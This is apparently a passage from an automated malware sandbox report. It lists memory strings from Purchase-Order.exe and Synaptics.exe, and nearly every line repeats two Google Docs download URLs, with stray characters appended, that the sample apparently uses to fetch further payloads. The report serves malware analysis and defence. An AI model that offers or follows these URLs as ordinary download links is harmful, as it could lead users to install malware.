Source: Purchase-Order.exe, 00000000.00000003.1704969935.0000000002490000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=downlo
Source: Purchase-Order.exe, 00000000.00000000.1695406203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000002.00000002.2956093270.0000000002220000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1779135345.00000000005DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download
Source: Purchase-Order.exe, 00000000.00000003.1704969935.0000000002490000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downlo
Source: Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3016366426.000000001D63F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2956093270.0000000002220000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2953651739.00000000005FB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3012495090.000000001D481000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984057257.000000000E8B7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984970329.000000000E97A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3017903336.000000001D6FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2959950848.00000000052DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3070010239.000000003B051000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3011336927.000000001D423000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000740F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3014009313.000000001D570000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3089527859.000000003DE4E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988243249.000000000EB20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2953651739.00000000005CB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1779135345.00000000005DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Source: Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000736E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984057257.000000000E8B7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984970329.000000000E97A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#
Source: Synaptics.exe, 00000002.00000002.3020449000.000000001D8B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#l
Source: Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984970329.000000000E97A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000740F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988243249.000000000EB20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$
Source: Synaptics.exe, 00000002.00000002.3020449000.000000001D8B9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3012495090.000000001D481000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984057257.000000000E8B7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984970329.000000000E97A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988243249.000000000EB20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%Te
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984970329.000000000E97A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988243249.000000000EB20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&
Source: Synaptics.exe, 00000002.00000002.2959950848.000000000532C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3014009313.000000001D570000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988243249.000000000EB20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download(
Source: Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download(8
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download(9
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3020449000.000000001D8B9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3012495090.000000001D481000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.00000000073C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)
Source: Synaptics.exe, 00000002.00000002.3020449000.000000001D8B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)E:
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)P
Source: Synaptics.exe, 00000002.00000002.3083411511.000000003B54D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)l
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA74000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000736E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3016366426.000000001D63F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3012495090.000000001D481000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988243249.000000000EB20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-0ab
Source: Synaptics.exe, 00000002.00000002.3020449000.000000001D8B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-D6
Source: Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-Secu
Source: Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-Ver
Source: Synaptics.exe, 00000002.00000002.3020449000.000000001D8B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-w
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083411511.000000003B54D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3016366426.000000001D63F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984970329.000000000E97A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3011336927.000000001D423000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3014009313.000000001D570000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083411511.000000003B54D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3016366426.000000001D63F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3011336927.000000001D423000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download..
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download..(
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA74000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083411511.000000003B54D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3016366426.000000001D63F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3014009313.000000001D570000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download...
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download..4
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.c
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.g
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.gl
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.m
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.n
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.np;
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.you%8Z
Source: Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984970329.000000000E97A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2959950848.00000000052DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3011336927.000000001D423000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000740F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/
Source: Synaptics.exe, 00000002.00000002.3020449000.000000001D8B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download//A
Source: Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/_/Dr
Source: Synaptics.exe, 00000002.00000002.2966481395.000000000736E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/vk%/
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2953651739.00000000005BA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000736E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984970329.000000000E97A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988243249.000000000EB20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2953651739.00000000005CB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.00000000073C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0
Source: Synaptics.exe, 00000002.00000002.2966481395.000000000736E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0(
Source: Synaptics.exe, 00000002.00000002.3020449000.000000001D8B9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000736E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3012495090.000000001D481000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2959950848.00000000052DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000740F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1Tq
Source: Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3014009313.000000001D570000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988243249.000000000EB20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download20z
Source: Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download28=
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download29w
